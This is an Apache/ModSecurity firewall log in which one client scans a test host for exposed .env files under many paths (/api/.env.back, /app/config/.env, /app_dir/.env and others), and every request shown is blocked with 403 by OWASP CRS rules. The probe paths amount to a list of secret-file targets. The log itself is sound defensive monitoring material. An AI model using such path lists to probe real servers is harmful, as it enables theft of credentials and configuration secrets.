[Thu Feb 26 01:02:54.255057 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiydwAAAAA&quot;]
[Thu Feb 26 01:02:54.255225 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiydwAAAAA&quot;]
[Thu Feb 26 01:02:54.261162 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVgAAAAE&quot;]
[Thu Feb 26 01:02:54.261401 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVgAAAAE&quot;]
[Thu Feb 26 01:02:54.261549 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.back&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVgAAAAE&quot;]
[Thu Feb 26 01:02:54.287150 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVwAAAAE&quot;]
[Thu Feb 26 01:02:54.287396 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVwAAAAE&quot;]
[Thu Feb 26 01:02:54.287555 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.example&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhVwAAAAE&quot;]
[Thu Feb 26 01:02:54.302927 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyeQAAAAA&quot;]
[Thu Feb 26 01:02:54.303173 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyeQAAAAA&quot;]
[Thu Feb 26 01:02:54.303325 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyeQAAAAA&quot;]
[Thu Feb 26 01:02:54.319154 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhWAAAAAE&quot;]
[Thu Feb 26 01:02:54.319401 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhWAAAAAE&quot;]
[Thu Feb 26 01:02:54.319547 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.sample&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhWAAAAAE&quot;]
[Thu Feb 26 01:02:54.334684 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyegAAAAA&quot;]
[Thu Feb 26 01:02:54.334900 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyegAAAAA&quot;]
[Thu Feb 26 01:02:54.335041 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyegAAAAA&quot;]
[Thu Feb 26 01:02:54.344196 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhWQAAAAE&quot;]
[Thu Feb 26 01:02:54.344418 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhWQAAAAE&quot;]
[Thu Feb 26 01:02:54.344561 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aZ-NrjAL5Lg_nL66HcLhWQAAAAE&quot;]
[Thu Feb 26 01:02:54.373295 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyewAAAAA&quot;]
[Thu Feb 26 01:02:54.373503 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyewAAAAA&quot;]
[Thu Feb 26 01:02:54.373640 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyewAAAAA&quot;]
[Thu Feb 26 01:02:54.496624 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app1-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyfgAAAAA&quot;]
[Thu Feb 26 01:02:54.496839 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyfgAAAAA&quot;]
[Thu Feb 26 01:02:54.496986 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyfgAAAAA&quot;]
[Thu Feb 26 01:02:54.548352 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app2-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyfwAAAAA&quot;]
[Thu Feb 26 01:02:54.548601 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyfwAAAAA&quot;]
[Thu Feb 26 01:02:54.548761 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiyfwAAAAA&quot;]
[Thu Feb 26 01:02:54.570170 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygAAAAAA&quot;]
[Thu Feb 26 01:02:54.570423 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygAAAAAA&quot;]
[Thu Feb 26 01:02:54.570577 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygAAAAAA&quot;]
[Thu Feb 26 01:02:54.602176 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_nginx_static_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ-NriSJSniLip0oFXiygQAAAAA&quot;]
